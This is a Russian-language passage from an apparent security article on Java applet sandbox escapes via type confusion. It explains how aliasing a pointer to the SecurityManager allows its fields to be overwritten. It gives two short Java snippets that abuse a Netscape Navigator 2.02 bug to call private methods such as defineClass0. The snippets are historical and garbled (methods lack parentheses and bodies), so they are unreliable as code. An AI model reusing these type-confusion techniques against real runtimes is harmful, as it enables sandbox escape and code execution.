Теперь m указывает на ту же область памяти, где находится SecurityManager, и мы можем безболезненно менять его содержимое через поля объекта m. Подобная атака сработает при любом смешении типов, остается лишь найти ошибку, позволяющую проделать подобное совмещение указателей.
И такая ошибка была найдена в одной из бета-версий Netscape Navigator. При создании класса T неявно создается тип
interface Inter
{
void f;
}
class Secure implements Inter
{
private void f;
}
class Dummy extends Secure implements Inter
{
public void f;
Dummy
{
Secure s = new Secure;
Inter i = (Inter) s;
i.f;
}
}В этом коде вызов i.f должен быть опознан как вызов защищенного метода класса Secure и запрещен. Неверное поведение Netscape Navigator 2.02 привело к возможности вызова закрытой функции defineClass0, призванной исправить ошибки в верификаторе и механизме загрузки классов. Небольшая модификация этой же ошибки:
interface Inter
{
void f;
}
class Secure implements Inter
{
private void f;
}
class Dummy implements Inter
{
public void f;
static void attack
{
Inter inter[2] = {new Dummy, new Secure };
for(int j=0; j<2; ++j) inter[j].f;
}
}